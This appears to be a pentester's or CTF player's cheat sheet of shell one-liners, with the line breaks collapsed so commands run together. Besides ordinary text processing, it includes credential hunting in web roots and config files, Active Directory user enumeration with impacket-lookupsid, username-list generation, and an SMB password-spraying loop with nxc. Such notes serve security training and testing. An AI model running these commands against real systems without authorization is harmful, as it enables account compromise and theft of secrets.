grep -rn --include='*.php' -iE 'password|secret|api_key' /var/www 2>/dev/nullgrep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' file.txt | sort -ugrep -oE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+' file.txt | sort -ugrep -oP '(?<=href=")[^"]+' page.html | sort -ugrep -v '^#' config.conf | grep -v '^$'tr 'A-Z' 'a-z' < file.txttr -d '\r' < windows.txt > unix.txttr -s ' ' < ragged.txttr ',' '\n' < list.csvtr -cd '[:print:]\n' < binary-ish.txtthe pipeline you will run on nearly every AD box — scrape names from wherever, land them in $USERLIST, then spray
impacket-lookupsid guest@$IP -no-pass 10000 \ | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u > $USERLISTawk -F: '$3 >= 1000 && $7 !~ /nologin|false/ {print $1}' passwd.txt >> $USERLISTsort -u -o $USERLIST $USERLISTwc -l $USERLISTfeed it "John Smith" per line and try each shape — you do not know the convention until one authenticates
awk '{print tolower(substr($1,1,1) $2)}' names.txt > u-jsmith.txtawk '{print tolower($1 "." $2)}' names.txt > u-john.smith.txtawk '{print tolower($1 substr($2,1,1))}' names.txt > u-johns.txtcat u-*.txt | sort -u >> $USERLISTcurl -s http://$IP/api/users | jq .jq -r '.[].username' users.jsonjq -r '.users[] | "\(.name):\(.password)"' dump.jsonjq -r 'keys[]' dump.json-P runs them in parallel. Keep it low against anything with a lockout policy
xargs -a $USERLIST -I{} nxc smb $IP -u {} -p '' --continue-on-successxargs -a hosts.txt -P 20 -I{} sh -c 'ping -c1 -W1 {} >/dev/null && echo {} up'find . -name '*.conf' -print0 | xargs -0 grep -il passwordcolumn -t -s: /etc/passwdcolumn -t ragged.txtpaste -sd, ports.txtdiff <(sort before.txt) <(sort after.txt)no matches